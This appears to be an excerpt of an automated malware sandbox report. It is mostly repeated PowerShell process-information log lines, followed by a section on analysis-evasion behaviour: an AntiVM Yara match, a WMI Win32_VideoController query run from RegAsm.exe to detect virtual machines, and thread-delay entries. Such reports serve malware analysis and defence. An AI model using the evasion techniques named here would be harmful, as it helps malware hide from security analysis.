                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion

                  barindex
                  Yara detected AntiVM3
                  Source: Yara matchFile source: 00000006.00000002.1895604908.0000024FE2752000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6276, type: MEMORYSTR
                  Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: E80000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2C70000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2AF0000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 1400000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2F40000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2D10000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 1300000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2F10000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2E60000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2F30000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 3060000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 5060000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 1510000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 3070000 memory reserve | memory write watch
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2E30000 memory reserve | memory write watch
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
